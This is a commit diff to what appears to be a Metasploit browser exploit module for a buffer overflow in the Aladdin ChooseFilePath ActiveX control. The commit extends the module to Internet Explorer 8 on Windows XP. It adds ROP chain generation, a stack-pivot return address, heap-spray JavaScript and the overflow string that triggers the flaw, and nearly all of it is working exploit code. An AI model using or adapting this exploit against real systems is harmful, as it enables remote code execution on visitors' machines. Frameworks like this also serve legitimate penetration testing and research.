Skip to content

Commit 91e6b7c

Browse files
author
jvazquez-r7
committed
added ie8 target
1 parent a3358a4 commit 91e6b7c

File tree

1 file changed

+45
-12
lines changed

1 file changed

+45
-12
lines changed

modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb

Lines changed: 45 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,12 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
1414
include Msf::Exploit::Remote::BrowserAutopwn
15+
include Msf::Exploit::RopDb
1516

1617
autopwn_info({
1718
:ua_name => HttpClients::IE,
1819
:ua_minver => "6.0",
19-
:ua_maxver => "7.0",
20+
:ua_maxver => "8.0",
2021
:javascript => true,
2122
:os_name => OperatingSystems::WINDOWS,
2223
:rank => Rank,
@@ -37,12 +38,15 @@ def initialize(info={})
3738
'License' => MSF_LICENSE,
3839
'Author' =>
3940
[
40-
'b33f', #Original
41-
'sinn3r' #Metasploit
41+
'shinnai', #Vulnerability Discovery
42+
'b33f', #Original exploit
43+
'sinn3r', #Metasploit
44+
'juan vazquez' #Metasploit, IE8 target
4245
],
4346
'References' =>
4447
[
4548
[ 'OSVDB', '86723' ],
49+
[ 'EDB', '22258' ],
4650
[ 'EDB', '22301' ]
4751
],
4852
'Payload' =>
@@ -57,10 +61,34 @@ def initialize(info={})
5761
'Targets' =>
5862
[
5963
[ 'Automatic', {} ],
60-
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x5F4' } ],
61-
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x5F4' } ],
62-
[ 'IE 8 on Windows XP SP3', { 'Offset' => '0x5f4' } ],
63-
[ 'IE 7 on Windows Vista', { 'Offset' => '0x5f4' } ]
64+
[ 'IE 6 on Windows XP SP3',
65+
{
66+
'Rop' => false,
67+
'Offset' => '0x5F4',
68+
'Ret' => 0x0c0c0c0c
69+
}
70+
],
71+
[ 'IE 7 on Windows XP SP3',
72+
{
73+
'Rop' => false,
74+
'Offset' => '0x5F4',
75+
'Ret' => 0x0c0c0c0c
76+
}
77+
],
78+
[ 'IE 8 on Windows XP SP3',
79+
{
80+
'Rop' => true,
81+
'Offset' => '0x5f6',
82+
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
83+
}
84+
],
85+
[ 'IE 7 on Windows Vista',
86+
{
87+
'Rop' => false,
88+
'Offset' => '0x5F4',
89+
'Ret' => 0x0c0c0c0c
90+
}
91+
]
6492
],
6593
'Privileged' => false,
6694
'DisclosureDate' => "Apr 1 2012",
@@ -104,7 +132,6 @@ def get_target(agent)
104132
def ie_heap_spray(my_target, p)
105133
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
106134
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
107-
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
108135

109136
# Land the payload at 0x0c0c0c0c
110137

@@ -135,7 +162,13 @@ def ie_heap_spray(my_target, p)
135162
end
136163

137164
def load_exploit_html(my_target, cli)
138-
p = payload.encoded
165+
166+
if my_target['Rop']
167+
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
168+
else
169+
p = payload.encoded
170+
end
171+
139172
spray = ie_heap_spray(my_target, p)
140173

141174
html = %Q|
@@ -144,9 +177,9 @@ def load_exploit_html(my_target, cli)
144177
<script>
145178
#{spray}
146179
147-
var junk = unescape("%0c%0c%0c%0c");
148-
while (junk.length < 2000) junk += junk;
149-
pwnd.ChooseFilePath(junk);
180+
junk='';
181+
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
182+
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
150183
</script>
151184
</html>
152185
|

0 commit comments

Comments
 (0)